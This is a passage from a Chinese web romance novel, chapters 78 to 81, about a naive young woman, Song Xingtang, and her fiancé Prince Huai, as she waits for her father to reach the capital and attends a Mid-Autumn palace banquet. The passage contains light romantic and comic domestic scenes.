不过他没有写自己去宋家做赘婿的事,他只写自己因故到江南去查案,偶然与宋府有了交集。 说了宋府的现状,二房与越州刺史的勾连,至于更多的,沈昭予没提。 但宋鸿也是个聪明人,听他特意提了二房,必定会把爱妻的死往二房身上想。 从理智上来说,沈昭予希望宋鸿能保持冷静,把他知道的事都告诉他。从情感上来说,沈昭予知道,宋鸿不可能冷静。 他从前没有过喜欢的人,能够冷静理智地做出判断,从不出错。也不理解怎么会有人被情绪支配,做出堪称愚蠢的举动。 可他现在品尝到了另一种人生,知道失去爱人会有多痛,许多从前想不通的事,都豁然开朗。 “或许,他用不了十日就会到京城。” 现在正值八月,炎炎暑日,正午及午后都不适合赶路,但宋鸿必定不会空等着日头过去。 “那我爹爹有跟你说,他为何假死脱身,为何离开军营,为何又北上去寻素未谋面的你呢?” 疑点实在太多,宋星糖感觉自己问上一天一夜都问不完。 沈昭予沉默了更久的时间。 根据暗卫来报的消息,宋鸿并未透露过多的讯息,似乎并不信任带他走的人。 哪怕人是在霍老将军过了眼、得了保证的,宋鸿也抱着警惕,不肯轻信。 似乎在真正面见“怀王”之前,他不相信任何人,包括如今镇西军的首领霍老将军。 事情似乎比沈昭予想得要严重。 他暗自揣测,多半还是与南境的边防有关。 至于为何让宋鸿如惊弓之鸟一般,或许和朝堂有关。 沈昭予沉吟片刻,微眯眸子,“一切都等你父亲来再说。” 等她父亲入京,还要向她求娶。 朝堂大事宋星糖听不懂,也不爱听,她只关怀了一句,发现超出自己认知范畴,便不再提。 目光又落到他二人之间。 沈昭予也看着她。 “不早了,休息吧。” 宋星糖总觉得自己忘了什么事,心不在焉地点了点头。 沈昭予心有不舍,可他必须要离开。 白日带她回来实属意外,后来的事,更是失控之下才有的。他原本计划做的事,一件没做。 早些处理完手上的事,也好早点成婚。 沈昭予叫来婢女,让人伺候她宽衣沐浴。 临走前,忽然随口问了一句:“你那时说有几件事对我说,只说了两件,第三件是什么?” 宋星糖:“……” 对哦,是什么来着?她果然忘了很重要的事。 沈昭予一见她满脸呆滞,就知道今夜肯定问不出。 他弯唇轻笑,揉她的脑袋,“别想了,早些睡,明日再来看你。” 他以为宋星糖想不出,自己就会放弃。 怎料宋星糖从踏进木桶,洗完出来,钻进被窝,一直在想这件事。 妙荷给她掖好被角,红着脸,欲言又止,“姑娘。” 宋星糖拧着眉思索,没听到。 妙荷叹了口气,想到方才沐浴时见到的,主子那一身痕迹,尤其是腰窝两处的手掌印记,脸颊愈发滚烫。 以为主子听不到,哀愁地自言自语:“就说姑娘会吃苦……姑爷那人高马大的,唉,瞧瞧这小胳膊小腿,哪里禁得起他折腾啊。” 宋星糖正巧困了,正巧放弃思考,正巧要睡觉,正巧听到了这句话。 她脑袋似被什么击中,灵光一闪,猛然道:“我想到第三件事了!” 这一嗓子把妙荷吓一大跳,捂着心口,哭笑不得:“您又想到什么好点子了?” 宋星糖先是得意一笑,自满于自己记忆力大有进步,而后逐渐浮现出怒容,她重重‘哼’了一声。 “好险,差点忘了。若非你提醒,险些被他糊弄过去。” 这个‘他’不必说,自然是那位。 宋星糖掀开被子坐起身,丝质柔顺的寝衣顺着动作下滑,露出她印了两个红痕的锁骨。 妙荷看得面红耳赤,别过头去。 然后就听主子捶了捶床,气鼓鼓地道:“我决定生气!” 妙荷:? 虽然前两件都是说他好的,可这至关重要的第三件,是针对他的惩罚。 娘说,重要的话都放在后头说,这叫循序渐进,所以她把“宣布生气”放在了最后一件事讲。 谁曾想,她说完两件事被他打断,就给忘了。 看来这条不适合她,她还是得把最最重要的事先说,免得遗忘。 “他言而无信,净说好话哄我,折腾得我腰酸背痛,”宋星糖一本正经地跟妙荷控诉,“分明喊过好几次停,他都不停,还说都听我的,他根本就是骗人!” 妙荷:“……” 好想走,这是她能听的吗? “他没跟我道歉,肯定是没意识到自己有错,”宋星糖越说越觉得思路清晰,把自己越说越生气,“他是高高在上的王爷,位高权重,说一不二,他哪会觉得自己错了?” “他还说,以前做赵鱼时,都是装的,骗我的,兴许他以前低声下气地哄我,心里反而在想我无理取闹难伺候……”87 妙荷眼睁睁看着那双灵动的杏眸中含上一汪水,心头一紧,“姑娘……” 怀王真该死啊! 宋星糖抱住膝盖,吸了下鼻涕,心情低落:“哦,我知道了,他之前一直不圆房,定是嫌我麻烦吧,妨碍他潇洒地走了。” 妙荷在裙子上蹭了蹭汗,撸胳膊挽袖子,面目狰狞:“姑娘你等着,奴婢这就去把人找来。” 宋星糖摇了摇头,“我耽误他一整日的时间,他肯定早就走了。人家王爷日理万机,哪像我是个闲人,还能随叫随到啊?” 他现在也不肯圆房,肯定还是因为要去忙的缘故,才不是什么要等到大婚。 他就是个骗子。 一个嫌她麻烦累赘的骗子。 正想着,忽然一股热流往下涌去。 紧接着,小腹绞拧一般地疼痛。 妙荷见主子面色发白,算算日子,心道一声‘坏了’。 “到姑娘来月事的日子了吧?” 一低头,果然见底下一片红。 “难怪姑娘情绪不好。”妙荷笑道,“奴婢伺候您更衣。” 宋星糖没什么精神,恹恹地‘嗯’了一声。 等收拾干净,再度躺回去,已经又过了小半个时辰。 宋星糖仰躺在榻上,嘴里不停念叨着:“他不和我道歉,我生气了,我要六个时辰不理他,对,六个时辰!” 妙荷噗嗤一笑,“姑娘这是心软了?” 宋星糖茫然看她,“嗯?” 妙荷指了指外头的天,“姑娘一觉睡五个时辰,等明日起来盥洗梳妆用过膳,怕是就过了六个时辰啦。” “对哦!我还要睡觉呢!” 宋星糖握紧拳头,一脸坚定:“那就从明天早上睁眼开始,往后数六个时辰!” 这样就是一整日都不理他。 “如此,足以证明我确实气得不清,好叫他长长记性。” ‘长长记性’这种话是阿娘挂在嘴边的,爹爹总做错事,阿娘就六个时辰不理他,非常管用。 她素来视阿娘为榜样,所以自然也学着阿娘那样来‘管教’男人。 看着主子了却心事,安然闭眼,妙荷摇头笑道:“以姑娘的忘性,怕是明早睁眼,就把这个决定也忘了呢。” 她只是随口一调侃,说完就撂下床帐走了,没想到前脚刚出门,后脚宋星糖就掀开幔帐,下了床。 “妙荷说得对,我肯定还会忘的,那可不行。” “我得想个法子。” 而后她苦思冥想,还真叫她想出来了,忧患解决,她心满意足地睡了过去。 天光渐亮,沈昭予终于忙完,他毫无睡意,索性去看她。 没惊动暗卫,悄悄潜入她的房间。 甫一踏进带着香气的女子闺房,他的心便感受到一股前所未有的安定与幸福。 当初在宋府做赘婿时,常常忙到天亮才睡,身上有再多的疲惫,在听到她的呼吸声时,也会尽数消失殆尽。 沈昭予踏着轻快的步子,三两步便入到寝房。 他掀开幔帐,没看到魂牵梦萦的睡脸,迎面先被一张纸条糊了脸。 沈昭予:? 谁人胆敢暗算他。 他顺着纸条往上看,被一根细线吊在了床架顶上。 展开字条,上写着—— ‘明早一定一定一定记得,他惹你生气,你决定六个时辰不理他,切记切记,别忘了!’ 沈昭予:? 他又怎么惹着她了? 背面也有字,似乎是怕忘了为何生气,特意记下的—— ‘下次再说停却不停,就加到八个(划掉)十二个时辰!’ 沈昭予:“……” 原来是因为这个。 他没忍住,轻笑出声。 垂眸看向女子时,眸中的温柔如涓涓溪水,平缓而绵长地流淌出来。 他没 收字条,塞进袖子里,在床边坐下,抬手轻轻抚她的侧脸。 真想立刻娶她。 要不,背着宋将军,先把亲成了?虽说时间有些紧,但凭他的能耐,并非不可做成。 宋鸿应当打不过他,也无人能以权势压住他,他何苦还守着底线,非要做个正人君子呢。 他原本就不是个好人啊,谁家好人从幼时便筹划着谋反呢? 一旦说服自己,道德的枷锁说卸也就卸了。 沈昭予一边暗暗唾弃自己欺负人家姑娘,一边又情不自禁,俯身去亲她的唇。 即将碰上时,脸上挨了一巴掌。 沈昭予:“……” 这就是他起坏心的报复吗?现世报,真快啊。 听近在咫尺的唇喃喃道:“小贼,把鸡腿还我!” 沈昭予:“…………” 他低头,恼恨地在她嘴上咬了一口。 “呜……唔?” 梦中和偷鸡贼正得火热的小姑娘缓缓睁眼。 “鱼鱼?” 沈昭予捂着脸,冷眼睨她,没理。 “啊,你回来啦!”宋星糖抬起头,敷衍地在他嘴上叭叭亲了两口。 她困得睁不开眼,亲完就习惯性地往里头滚,给他挪出睡觉的位置,背对着他,又把眼睛闭回去,嘟囔着:“辛苦啦,晚安……” 显然没有字条的提醒,睡前的气已经忘干净了。 沈昭予轻叹一声,又把字条挂了回去。 第79章 第79章夜半偷看图。 【79】 这是睡迷糊了,还以为他们在宋府。 盛情难却,沈昭予欣然受纳。 他自然而然地脱靴上榻,从背后把人搂到怀里。 一觉到次日巳时,六个时辰一晃而过。 宋星糖睡了好香的一觉,她下意识抹一把嘴角,没摸到口水。 梦里似乎吃了一盆鸡腿,给她撑得肚子酸酸涨涨的,后来肚子痛,她才停嘴,结果盆里仅剩的一只没来得及吃的鸡忽然复活了。 那只鸡瞬间恢复毛发光亮又鲜活的样子,挺胸昂头,派头十足地走到她跟前,一抬鸡翅膀,瞬间变大十倍,盖在她的肚子上。 说来也神奇,那翅膀温暖极了,她感觉有源源不断的热意传来,而后肚子的疼痛都减轻不少。 宋星糖恍惚间捂住肚子,不知是不是错觉,感觉那温度似还残留在上头。 “姑娘醒啦?” 李嬷嬷端着热水走了进来。 宋星糖甩甩头,嘟囔道:“今天还是不吃鸡了吧。” 也不知是有人打榻前过,带动了周边的空气,还是她转了身的缘故,忽然一缕熟悉的清香钻入鼻中。 她茫然地‘嗯’了声,嗅了嗅空气中的味道。 是她最喜欢的味道。 是……他来过了吗? 宋星糖问青鸾:“鱼鱼呢?他过来找过我了?” 青鸾道:“是,殿下不久前才离开。” 半分没提夜里私自摸进来陪睡一宿的事。 “过几日中秋,要休沐三日,所以殿下提前被召进宫议事。”青鸾传话道,“殿下说,若无意外,宋将军最快将于八月十六抵京,叫您莫急。” “噢……”宋星糖点头道,“好的。” 青鸾犹豫片刻,说道:“当今陛下身体欠安,需要主子解决的事有许多,所以……” 宋星糖沉默了会,“所以他很忙,对吗?” “嗯,按照往年惯例,他会留宿宫中。” 这些话沈昭予没有交代青鸾说,但青鸾害怕小姑娘擅自期待,最后落了一场空,所以事先给提个醒。 若能见着,便是意外之喜,若不能,也不至于十分失落。 宋星糖眼巴巴地盯着那张悬在空中的字条,让人把它又解了下来,扣在掌中。 她低着头,摆弄着,“那这个,就没有用了吧。” 连人都见不得,更别提理不理他。 “还是等和他见面的时候再计数吧。” 宋星糖来了月事身子不适,接连两日都懒懒地赖在家中画画。 至中秋前两日,言婉派人来送信,邀她一起上街买首饰。 宋星糖欣然前往,二人逛了几个铺子,随后到茶楼歇脚。 二人往楼上雅间去时,听一楼大堂中有人在议论: “听说没,刑部的员外郎次子闹着与发妻和离,结果被发妻的娘家兄弟们狠狠打了一顿,员外郎心疼儿子,冲上门去找人理论,被人家爹拿着笤帚扫出来了哈哈,现在也没脸去当差,同怀王告假,结果你猜殿下说什么?” 怀王殿下嘴里能吐出什么好话来。 “殿下说——此子既废,与其在此伤怀,不如再生一个才是要紧。”那人哈哈大笑,“然后殿下就给员外郎放了一年的假,让他回家和小妾生孩子去。” “那员外郎都五十多了,还能生出什么更好的来?听说这些年为再生不出儿子这事,四处寻访名医,要给小妾治一治毛病。他没给小妾治好,倒先叫怀王把他给治了。” “看来殿下也知员外郎宠妾灭妻,惯得庶出的儿子做出此等丢人现眼之事。啧啧,一年以后,他这个官能不能做还得两说。” “十有八九是做不成的,谁人不知殿下出身行伍,最重规矩,眼里揉不得沙子,那员外郎竟敢到殿下跟前去诉苦,可谓是老虎头上拍苍蝇,好大的胆子。” “儿子与老子一脉相承,皆是置发妻的脸面不顾,他们哪知道夫妻一体道理,啧,平白让自己也没脸。” 宋星糖听到‘怀王’二字,脚步说什么都挪不动了,扒着楼梯的栏杆,两眼发亮听得认真。 言婉无奈,只得拉着她就近坐下,要来一壶好茶,细细地听。 那边已经从怀王的处置,说到事情本身。 “你说他怎么想的,放着美妻不疼,跑到外头去找外室,成亲三月不到,竟从外头领了个一岁多的儿子。” “还敢腆着脸求发妻,要给外室一个平妻身份,呵,让人家一个侯府千金与一个外室平起平坐,他疯魔了不成?” “此言差矣,家里家外,哪个是宝,不是一目了然?家里的出身再好,不合自己心意,也是白费,只可怜了那姑娘,嫁这么个玩意儿。” 大家都是仕宦出身,贵族子弟,大家族最重脸面,哪怕再不喜欢,也得给足颜面与尊重,没听说过像这家一样,把人家姑娘的脸面放脚下踩的,是以谈起来这事,皆是不屑鄙夷。 “员外郎那个妾室,还嚼人家姑娘的舌头,说她生不出儿子,我呸,成婚三月,那小子有几日是留宿在房里的?我听他家小厮说,就差在外头安家,能怀孕就有鬼了。” 直到那一桌人说够闲言,勾肩搭背,一齐散去,宋星糖仍是一副沉思状,手摸着下巴,不知在想些什么。 言婉看天色不早,便要送她归家。 出门时,与两位姑娘擦肩而过。 宋星糖忽然叫住言婉:“他们方才说她说不出孩子,是因为员外郎的儿子不留宿的缘故?因为他们也不圆房吗?” 这个“也”字,叫言婉额角一跳,脸色发红,用帕子遮脸跑了。 那两位姑娘闻言脸色一沉,阴恻恻地朝宋星糖看过来。 宋星糖对周遭的视线格外迟钝,她一心都是方才听到的事。 她一边追着言婉出去,一边问:“他们怎么不圆房呢?果然夫妻之间不圆房,迟早要出事的吧?言姐姐你等等我呀——” “……” 白日听说了故事,宋星糖郁闷一晚上。 她把故事讲给婢女们听,大家都无法与她感同身受。 因为首先,大家都知道,怀王殿下心里只有她一个人,从前未有、以后多半也不会有什么外室,更别提私生子。 其次,怀王殿下没有宠妾灭妻的父亲,先帝早就死了,不会找上她的父亲让两人和离。 最后一点,大家默不作声地都没提。 那员外郎的儿 子嫌弃发妻,夜夜在外室屋里留宿。 可怀王殿下却是恨不得夜夜都和宋星糖挤在一个榻上睡觉。 不过鉴于怀王总趁着半夜三更偷摸进闺房,所以谁也不敢背着他把事说穿。 宋星糖见无人理解自己,心中更是难过。 她是个认死理且固执的人,一旦认定某事,就会钻牛角尖。 赵鱼对她的欺骗,让她始终缺乏安全感。 她有时梦里会梦到,其实根本没有“赵鱼”这个人,一切都是她的妄想,是她太想要守护住阿娘的东西,于绝望之中生出的幻象。 她害怕他是假的。 更害怕他到现在,还是假的。 宋星糖叹了口气,趴在榻上,心不在焉地翻看着话本。 还是得把这个房圆上。 只是这事办起来,太难。 宋星糖柳眉微蹙,苦思对策。 想了小半个时辰,没想出来,累了。 她翻了个身,肩膀底下被什么东西硌着。侧过头,翻出来一瞧。 咦?秘戏图? 倒是有些日子没看过了。 宋星糖猛然想起来那晚,他对她做的…… 真奇怪,她的记性一直不好,可此刻她的脑袋里,却清晰地浮现男人的每一个动作与神态。 她的脸颊慢慢染上一层绯红,赧然地咬住唇瓣,望着那本册子。 半晌,朝它伸出了手。 多读读,兴许就有法子了呢?- “没有法子就回去把陈年案卷都读一遍,别跟本王说兹事体大动不得,你动不得他们,就不怕本王把你的乌纱帽摘了?” “两日时间,再找不出对策,就滚蛋。” 怀王殿下带着一身火气出宫,没有乘轿,骑了一匹快马往家赶。 到王府时,已过四更。 沈昭予站在院里,望着漫天繁星,心里感叹了声‘真好’。 这要是在宋府,下值得都算早了。 他轻车熟路地潜入闺房,一众暗卫习以为常地选择性眼瞎。 往日一进门,能听到女孩绵长而平缓的呼吸声,今日…… 沈昭予站在门口,眉头紧皱。 呼吸急促而不稳,有时甚至停了几息,时快时慢,时有时无。 做噩梦了? 沈昭予快步迈入内室,一眼就瞧见床帐内隐隐有绿光传出,十分诡异。 沈昭予:? 她怎么又把夜明珠抱上床了? 几步到近前,撩开帐子,看到被子下隆起一个小山丘,里头一坨不明物受惊般地抖了抖。 而后紧接着一阵“天翻地动”,小山丘慌乱地左拱右挪,听得‘哎哟’一声,成功把自己绊倒了。 在床上也能摔,真服了她。 沈昭予沉着脸,一把将被子掀开,从里头抖出来一人。 只见女子以跪伏的姿势蜷在榻上,怀里的夜明珠发出惨淡的绿光,映在女子莹白的小脸上,绿中泛着……红? 怎么会是红的?一定是他看错了。 沈昭予摸了摸莫名加快的心脏,无奈道:“大半夜的,准备吓唬谁啊?” 宋星糖目光慌乱,嗓音带着惊吓后的紧张,颤颤巍巍道:“你、你才是,夜半闯入吓着我,还倒打一耙!” 沈昭予刑讯无数,见过的人比她吃过的甜糕还多,他眸子微眯,“你不睡觉,在作甚?” 一边说,一边四处扫视。 “我我我我能做什么?我……看书啊……” 说着,把手里的书往身后藏。 沈昭予冷笑一声,探身去夺。 “还我!” 沈昭予借着绿光低头看,原来是周庭柏送她的鬼故事。 “……” 哦,难怪一进门听到那种呼吸声,原来是被吓到了吗? 他抬手抹了一把她脸上的汗,手背贴上她滚烫的脸颊,叹道:“我不是说了,以后我读给你听吗?” 又怕又爱看,真拿她没办法。 心头却划过一丝疑惑,受了惊吓,能热成这样? 宋星糖垂着头,喃喃:“你忙嘛。” 带着委屈的抱怨,听得沈昭予心尖酸软。 他柔声道:“是我的错,往后尽量抽出时间陪你,好不好?” “那倒也不用啦!”宋星糖飞快地拒绝,一脸心虚,“你忙正事,我没事的,嗯嗯。” 言辞间,恨不得他快走,少来。 沈昭予眸光锐利,上下打量,心中已然确定,她有事相瞒。 不过,应该并非大事,他近日确实政务繁忙,无暇计较她的‘灵机一动’。 沈昭予道:“若受委屈,不许瞒我。” “嗯嗯嗯你放心啦,有青鸾和言姐姐在,我能吃什么亏呀。” “嗯,那好。进去,”男人一扬下巴,示意她让位,“给你讲故事。” 宋星糖目光呆滞,遗憾道:“啊?你还要在这睡啊?” 可是她月事还未走,听李嬷嬷说,不能圆房。 沈昭予脱靴上榻,把她往里挤,翻开话本,笑道:“再不睡,明日不准出门。” 宋星糖:?!! 她拢着被子,把自己裹成蚕蛹,贴着里侧,闭上眼睛。 在低沉而富有磁性的声音里,沉沉睡去。 沈昭予最后也没看出她葫芦里究竟卖的什么药。 收了书,轻抚她的脸颊,在额头上轻轻吻了一下。 五更时分,他起身离开。 屋中重归寂静。 半晌,宋星糖睁开一只眼睛:O.= 见人去而不返,她长松了一口气,“吓死人了,幸好我手快。” 她从屁股下头摸出那本秘戏图,脸颊两侧又逐渐升温。 下回再看,得把门锁上。 她自言自语:“他从前果然都是糊弄我的,我现在聪明不少,都看懂了,根本不是他教的那样!” “看来还是得靠我,等我学会,好好给他展示一下。” 宋星糖想起不久前的那次经验,抱着脑袋,轻轻嘤嘤两声。 她求知若渴,又往后研究了两篇,这次无人再来打扰。 直到天光破晓,她才面带红晕,眼中含波,把图册藏回去。 书虽合上,可脑海中挥之不去的,是两个紧密相缠的小人。 许久,她那被知识洗礼充实过的、收获颇丰的大脑,才再次陷入睡眠。 第80章 第80章废寝忘食、刻苦钻研,已…… 【80】 之后的两天,沈昭予忙得不见踪影。 若只是他见不到就算了,就连谢徽也是,听他家人说,已经有好几日没回侯府。 言婉敏锐地从中嗅到变故的味道,整日把宋星糖带在身边,生怕她被人拐去。 宋星糖则对周遭的事迟钝麻木,一如既往地,每日都在苦苦钻研。 关于“怀王不行”的传言渐渐止息,取而代之的,是说“怀王娶亲”。 言婉直到此时,才知道男人最近在忙什么,不是她想的“变故”,她整个人松快不少。 她隐约记得谢徽提过几句,说怀王不打算请皇帝赐婚,只说到时备好聘礼做全准备后,只“通知”皇帝一声就好。 思及当今皇帝与怀王的关系,言婉叹了口气。 “自先帝晚年时,我朝便不比从前那般四海升平,西北南境外敌频频进扰,尤其是与西素人之间的战争,还是靠着咱们殿下才有这几年的太平日子。” 在院外值守的护卫这几日与妙荷等人混熟,如今被几名婢女缠着要讲故事,实在拗不过,只得坐在院门槛上,扭头与她们说起京中的事。 “想必你们一路入京也都看到了,各处匪盗横行,一路上民不聊生,饿殍遍野,也就进城还好些,外头啊……” 护卫摇摇头。 巧杏应和道:“正是,我们姑娘也遇上山匪了!还以为是运气不好,没想到竟是常事?” “嗯,当今陛下……嗯……”护卫犹豫着,只抿唇摇头,不敢开口。 他不说,妙荷等人便能猜出,后面隐去的必定不是什么好话。 若皇帝勤 勉,各地应当也不会任由地方官一手遮天,诸如刘荣元那等贪官,又如何能在任上逍遥六七年呢。 她们只是一介小民,又常在后宅,不懂什么家国大事,只知道如今这个皇帝做得不好。 “倒也不能全怪陛下,实在是陛下身子不好,没有精力去管,”护卫道,“所以底下的几位皇子才会对皇位虎视眈眈,若非咱们殿下看着,只怕迟早会有人做出弑兄杀父的罪事来。” 众人面面相觑,皆屏住呼吸,不敢胡乱插话。 “咱们殿下,能做到如今这个份上,已然是十分不易。” 护卫叹了声,摇头不语。 妙荷等人追问,见他再不肯多说,便又去央求青鸾。 有人抓着青鸾的胳膊,有人搂住青鸾的腰,又是撒娇又是威胁,青鸾无法,只得顺着护卫的话继续说下去。 “我来到殿下身边只有几年,知道的并不多,加之殿下规矩森严,大家私下里从不敢议论,我只能捡着知道的说,多数也都是听来的,不一定真。” “嗯嗯,好姐姐,快说快说!” “主子与陛下一母同胞,同为先皇后所出,身份尊贵,天资聪颖,自然从小就备受瞩目,可是,先帝很不喜他的出众。” 宋星糖原本沉浸在自己的世界里,不知是哪阵风把‘怀王’两个字吹到她耳朵里,她从自我中渐渐脱离,听着听着,放下手中的一把彩砂,竖起耳朵,也好奇地跟着听了起来。 有人说:“在越州时,便常听世人称颂怀王,难不成是因为先帝忌惮儿子功高盖主,超越自己,威胁到了他的地位?” 青鸾道:“是,也不是。先帝在位时,殿下尚且年幼,不存在功高震主一说,所以并非因他出色才不喜欢他,而是因为一句谶语。殿下自出生时便被高僧预言,说他命格极贵,比肩天子,这是先帝所不能容忍的,所以才被忌惮。” 有人道:“所以怀王是从落生,就注定与皇权无缘了吧?” 青鸾对此不置可否,“先帝不会将皇位传给殿下,这是从殿下还小时,所有人的共识。所以就算他再优秀,也没有朝臣会站在他背后支持他。” 她顿了顿,叹息着补充道:“还有先皇后,也是。” 一个注定没有胜算、已经被父母厌弃的皇子,在前朝后宫的日子,可想而知。 气氛忽然有些凝重。 “所以,鱼鱼他才事事努力,凡事只求完美,才在漫长岁月的磨砺中,变得如此可靠吧?” 众人循声望去,只见宋星糖目光清泠,嗓音清脆:“他憋着一口气,要做给天下人看,哪怕他身后并无一人,他也可以赢。他说自己张扬,可这二字之下,尽是心酸、无奈与不甘吧。” 青鸾鼻尖酸涩,动容道:“姑娘,知殿下心。” “他好像寒冬的松柏,任寒风摧残,被冷眼,被苛待,他自岿然不动,顶天立地,屹立于风雪中。”宋星糖似全然想通,感慨道,“怪不得他给我做夫婿时,样样都那般出色,怪不得‘赵鱼’的性子分明与他南辕北辙,他也可以不露破绽。” 凡事不做则已,做就要做到极致完美。 他很在意自己在旁人眼中能力如何,在意自己是否为天下第一。 宋星糖把头垂下,闷闷不乐:“可他就算事事都拔尖,不喜欢他的人,还是会看他不顺眼,认为他做什么都是错的。” 青鸾别过头去,眨去眼中的热意,‘嗯’了声:“是,但是殿下不在意,他只要赢就好。” 殿下当初把她带回府上,同她说,救她并非出自恻隐之心,是看着她眼里有火在燃烧,看着她,似回顾他自己这一生。 一开始青鸾不懂,她一个背负杀父罪名的逃犯,怎会和高高在上的怀王一样呢。 后来她才知,他们心里都有着强烈的欲望。 怀王的是他永远填不满的野心,而她的,则是无论如何都要好好活下去。 一个是求胜,一个是求生,本质上讲,是一样的。 若非怀王太过出众,先帝也不会把他发配到边境去。 原只是想让他自生自灭,却不想,再度归来时,荣耀满身,拥趸者众多,离他荣登大位更进一大步。 “不对,你说的不对,”宋星糖摇头,“他心里是难过的。” 人心都是肉长的,他独自走了那么久,总会觉得孤单。 “就像我,以前也会想,为何祖母不喜欢我,他心思比我敏感细腻,他怎么会不想呢?” 只不过再多的期待与渴望,早在一次又一次的失望中,消磨殆尽了。 宋星糖趴到桌上,眼睛里莫名流出一滴眼泪,被她飞快抹去,没叫人察觉,只是听声音有细微的哽咽:“他也不是铁做的呀,他怎会不在意呢。” 他那么懂人性,只不过是看透罢了。 宋星糖搓了搓手指上的那抹泪,目光茫然,静静出神,以至于后来的对话她一句都没听进去。 她满脑子都是——我这又是怎么了? 都已经是过去的事,沈昭予必定早已释怀,他心性坚韧,无坚不摧,她该为他高兴。 可为何再听见这些陈年旧事,她会哭呢? 心脏也是,一抽一抽地疼,好像高空踩空那般,令人心慌、令人不安。 心的痛感来得很及时,几乎是自己说完那些话,就感觉到疼了,紧接着眼泪流下来,一滴两滴,越来越多,以至于她需要背过身去,假装继续画画,才能在众人面前遮掩住自己的忧伤。 她用力揉了揉胸口,怎么想都想不通。 但有一点可以确定——她不想再听任何人说他不好,说他不配。 他就是全天下最厉害、最有资格受万人仰望的人。 低落的情绪一直持续到午后,言婉陪着她从角门出王府,到外头去散心。 “明日是中秋,宫里设宴款待众臣及亲眷,我没个姐妹,孤单得很,你就同我一起去吧。” 言婉拉着宋星糖的手,心里想着,怀王殿下说的‘多带她玩’,大概就是这个意思。 “好呀。” 宋星糖最喜欢凑热闹,如今身边有亲近的人带她,她自然乐得同意。 “只是,我……不会惹麻烦吗?” 她来京半个月,自然知道‘礼数’二字的重要。 言婉不以为意,笑道:“不必担心,都有殿下呢。” 宋星糖犹豫着摇头,“不行,我还是要少给他添麻烦,他已经很不容易了。” 言婉缓缓收起笑意,目光里带了点惊,声音不自觉变小,生怕吓着她:“这么担心他呀?” “嗯,自从听了他小时候的事,我就……”她皱着眉,又捶了一下心口。 说不出来,不说了。 言婉心里有了底,垂眸弯唇笑着,并不点破。 “对了,中秋宴上,鱼鱼也会去吧?” 提起怀王,言婉言辞间恭敬不少,“是,他主持宴席,必定会到。” “他主持?那皇帝呢?” “陛下身体欠安,这种场合多半不会出现。” 宋星糖似懂非懂,‘哦’了声,“那皇帝身体真够差的。” 言婉笑了笑,没言语。 当晚宋星糖花了点功夫琢磨自己的异样,想了不到一盏茶时间,无果,放弃。 熄灭烛火后,抱着夜明珠上榻,躲在被窝里研究秘戏图。 一边看,一边发出诡异的笑声。 “嘿嘿,明日就该到我大显身手啦。” 这本图在她废寝忘食、刻苦钻研下,已经快看完了。 后面就不是图了,而是古籍原文,她看得磕磕绊绊,一知半解。 当然,没有沈昭予的帮助,她连图也看得半懂不懂的。 不管了,明日猜着来吧,反正沈昭予根本不好好教她,这事还是得看她的! 书中有云——“天生万物,唯人最贵。人之所上,莫过房欲。” 堂堂怀王殿下,又有命格最贵的批语,如此贵重的人,房欲肯定也远胜旁人吧? 再有:“悟其理者则养性延龄,慢其真者则伤神夭寿。” 说得好啊! 照沈昭予那样糊弄敷衍,可不就是“慢其真者”? 小心短寿哦! 正所谓学有所用,她读了这么多日子的书,总得实践实践,看看成果。 所以,怀王殿下的命就由她来拯救吧!【你现在阅读的是 】 80-87 第81章 第81章中秋。 【81】 八月十五一早,宋星糖跟着言家的马车入宫。 她这些日子没少跟着言婉参加各种宴,是以在众人跟前已经混了个脸熟。 只是她生性腼腆,有些怕生,又因担心给沈昭予添麻烦,所以只敢跟着言婉,不乱跑,始终在言婉视线所及范围内活动。 这也导致,有许多看她貌美,对她感兴趣的公子哥只能暗中瞧她,找不到机会与她单独说话。 言婉对暗中的视线十分敏锐,不管是出于对宋星糖的喜爱与保护,还是怀王的嘱托,她都不可能放任那些人来冒犯宋星糖。 言婉手上紧紧牵着宋星糖,警惕地在园中穿行。 好不容易到了宴饮的宫殿,言婉松了口气,举目四望,皆是熟识的世家聚在一处说话。 “怀王要娶妻,这事真的假的?” “肯定是假的,先前还传他带女子回府,几日功夫流言愈演愈烈,编得实在太假。怀王南下前,还有人把自己女儿送到他跟前,结果那人挨了一顿训,官还降了一级,可见怀王对这情啊爱啊的,实在不感兴趣。成家,只会影响他办大事。” “都说他身边带着女人,可你们谁见着真人了?空口无凭,反正我不信他想成婚。” “那倒也是,他府上一直安安静静的,没听到动静。” “你不信,总有信的,再说宁可信其有,不可信其无,机会是留给善于把握的人,不信你们瞧——” 言婉眼皮一跳,也跟着望过去。 “那是谁?怎么在贵妃跟前说话?” 有人笑道:“那是贵妃的表妹崔姑娘,半月前才到的京城,正巧和殿下入京时间重合,更巧的是,人也是从南边来的。” 众人面面相觑,而后了然一笑。 “我说这流言没头没脑的,怎么传成这般,果真有人暗中推波助澜。” “贵妃娘娘是大皇子生母,可大皇子整日侍弄花草,寄情山水,从不参与朝政啊,贵妃怎会想借自己表妹去巴望怀王?” “有个靠山,总比没有的强。” 话到朝局,众人皆点到为止,不再深谈。 有眼尖的,看到言婉在边上,忙堆起笑意,揖手道:“言姑娘,这位——” 言婉笑着福身,不等那位公子那话说完,拽着宋星糖跑了。 笑话,留在那,等人来撬怀王的墙角吗? 她宁愿被人说是攀附上侯府,目中无人,也不愿被怀王那个小心眼的男人记恨上。 她可还没活够呢。 宴席开始,言婉挑了个末尾的角落坐下,看着宋星糖专心吃饭,无奈地笑笑。 “也幸好是男女分席,不然见着你家殿下,你还有心情吃?” 她以为小姑娘开了窍,面对心上人时,总要心神不宁,小鹿乱撞。 结果宋星糖干脆地摇头:“那也要吃饭呀,看他作甚?吃完了再看嘛。” 言婉:“……” 这到底是喜欢没喜欢上?她又看不懂了。 宋星糖想得很简单,只有把饭吃饱,后面的仗才能打顺。 糟糕,不能想,一想就开始紧张了。 她放下筷子,对着上首位发呆。 贵妃正与几位夫人相谈甚欢,其中有位夫人看着眼熟,似乎先前到人家府上赴过宴。 距离太远,看不真切,宋星糖很快挪开目光。 这一挪,便对上一双打量的眼睛。 那眼中带着不算友善的试探,宋星糖在许多人的眼睛里都见过,她知道,这类目光统称为“恶意”。 宋星糖只当做没瞧见,淡淡地再次挪开。 目光晃来晃去,直到落到眼前的一壶酒上。 “嗯……” 酒好像说能消愁、壮胆来着? 没尝过。 沈昭予不在,可以试试。 “婉儿,你来,我有话问你。” 可巧言婉的手帕交把言婉叫到一旁。 宋星糖舔了下嘴唇,偷偷摸摸给自己倒了一杯。 有一杯就有两杯。 